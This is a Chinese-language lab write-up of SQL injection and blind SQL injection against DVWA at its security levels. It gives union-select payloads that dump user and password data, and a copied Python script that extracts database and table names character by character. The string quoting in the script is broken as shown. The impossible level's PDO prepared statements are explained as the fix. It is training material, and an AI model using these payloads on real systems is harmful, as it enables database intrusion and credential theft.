dvwa中sql注入与盲注

dvwa中sql注入与盲注 dvwa中sql注入与盲注 注入: low:

payload:
查看字段数目

1' order by 2 #
1' order by 3 #

爆库

1' union select 1,database() #

爆表

1' union select 1,GROUP_CONCAt(TABLE_NAME) FROM information_schema.`TABLES` where TABLE_SCHEMA='dvwa' #

爆字段

1' union select 1,GROUP_CONCAt(COLUMN_NAME) FROM information_schema.`COLUMNS` where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'#

爆数据

1' union select user,password from users #

medium:

用bp抓包后很明显是数字注入：将’去了即可

high:

很明显他只会显示一组数据了，使用不存在数据的id再注入即可

impossible:（php中PDO技术，类似于java中的jdbc，先预编译，再传参）

$data = $db->prepare( 'SELECt first_name, last_name FROM users WHERe user_id = (:id) LIMIT 1;' );         
//预编译
$data->bindParam( ':id', $id, PDO::PARAM_INT );                           
//限定了传入参数的类型和传入的参数
$data->execute();                                                                 
//执行代码

盲注: low:

• 抄了大佬一个python脚本

import requests,re


#构建head头部
def get_header():
    print('imput url')
    url = 'http://f2dc4578-0d82-4f44-9728-7dab9ed3a25a.node4.buuoj.cn:81/vulnerabilities/sqli_blind/'          
    #获取ip,re.search查找字符串，group()即group(0)返回匹配正则表达式整体结果
    



    #构建header，其中如果要传参数进去则在前面加个f在参数部分再加个{}即可
    headers = {
        'Host' : 'f2dc4578-0d82-4f44-9728-7dab9ed3a25a.node4.buuoj.cn:81',
        'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
        'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language' : 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Connection' : 'close',
        'Referer' : 'http://f2dc4578-0d82-4f44-9728-7dab9ed3a25a.node4.buuoj.cn:81/vulnerabilities/sqli_blind/',
        'cookie': 'UM_distinctid=17d95c1130a584-0dc5f2065052a48-4c3e217e-144000-17d95c1130b7dc;security=low; PHPSESSID=8mepl10iji29942ldjko3ljep7',
        'Upgrade-Insecure-Requests':'1'

    }

    return headers,url


#爆库的长度
def db_length(url,headers):
    for i in range(1,6):
        # 所有payload里的注释#要用url编码表示，因为这是直接添加在url里的
        dbLen_payload = '?id=1' and length(database()) = '+str(i)+' %23&Submit=Submit';
        #注意这里是headers=headers
        r = requests.get(url+dbLen_payload,headers=headers).text
        if 'User ID exists in the database.' in r:
            dbLen = i
            break
        else:
            dbLen=0
    print('dbLen=',dbLen)
    return dbLen



#爆库名
def db_name(dbLen,url,headers):
    dbName=''
    for i in range(1,dbLen+1):
        #遍历ascii码
        for j in range(65,123):
            #注意：这里payload中第二个参数需要在sql语句中也加入单引号，以后写payload前，现在数据库中写好再往过加吧
            dbName_payload = '?id=1' and substr(database(),'+str(i)+',1)=''+str(chr(j))+'' %23&Submit=Submit'
            r = requests.get(url+dbName_payload,headers=headers).text
            if 'User ID exists in the database.' in r:
                print(j)
                dbName = dbName + str(chr(j))
                break
    print(dbName)
    return dbName



#爆表总长度
#select 1  and (select length(GROUP_CONCAt(TABLE_NAME,'^')) = 29 FROM information_schema.`TABLES` where TABLE_SCHEMA=DATAbase()) #
#注意：子查询一定要加()，因为没加()浪费了我一个小时
#注意：还有就是尽量能用数据库就用数据库，TABLE_SCHEMA=DATAbase(),如果用你查出来的库是不行的，我也不清楚为什么爆库的时候不分大小写，而爆表的时候就分大小写了。。我自己的数据库反正是不分大小写的
def tb_len(dbName,url,headers):
    for i in range(10,30):
        tbLen_payload = '?id=1' and (select length(GROUP_CONCAt(TABLE_NAME,'^')) = '+str(i)+' FROM information_schema.`TABLES` where TABLE_SCHEMA=DATAbase())     %23&Submit=Submit'
        r=requests.get(url+tbLen_payload,headers=headers).text
        if 'User ID exists in the database.' in r:
            tbLen = i
            break
        else:
            tbLen=-1
    print(tbLen)
    return tbLen


#爆表名
#select 1  and (select substr(GROUP_CONCAt(TABLE_NAME,'^'),i,1)='b'  FROM information_schema.`TABLES` where TABLE_SCHEMA=DATAbase()) #
def tb_name(tbLen,url,headers):
    tbName=''
    for i in range(1,tbLen+1):
        for j in range(65,123):
            tbName_payload = '?id=1' and (select substr(GROUP_CONCAt(TABLE_NAME,'^'),'+str(i)+',1)=''+str(chr(j))+''  FROM information_schema.`TABLES` where TABLE_SCHEMA=DATAbase()) %23&Submit=Submit'
            r = requests.get(url+tbName_payload,headers=headers).text
            
            if 'User ID exists in the database.' in r:
                
                tbName = tbName + str(chr(j))
                break
    print(tbName)
    return tbName
            



if __name__ == '__main__':
    headers,url = get_header()
    dbLen = db_length(url,headers)
    dbName = db_name(dbLen,url,headers)
    tbLen = tb_len(dbName,url,headers)
    tbName = tb_name(tbLen,url,headers)

• 两位大佬blog:
  https://blog.csdn.net/qq_42785117/article/details/100310559
  https://blog.csdn.net/qq_42181428/article/details/88075784

medium

medium不会python脚本，主要是它不仅用了post，他传输文件用的还不是json，但是用bp抓包后可以直接暴力破解

high

high模式下，发现还是post，但他中途进行了跳转，bp第二个包的cookie是第一个包传的参数的url编码，所以我们直接使用bp暴力破解即可模式即可

暴力破解

暴力破解书写payload时一位一位爆破，不然会无限重复

impossible

和sql注入的impossible一样,都是采用了PDO技术,很安全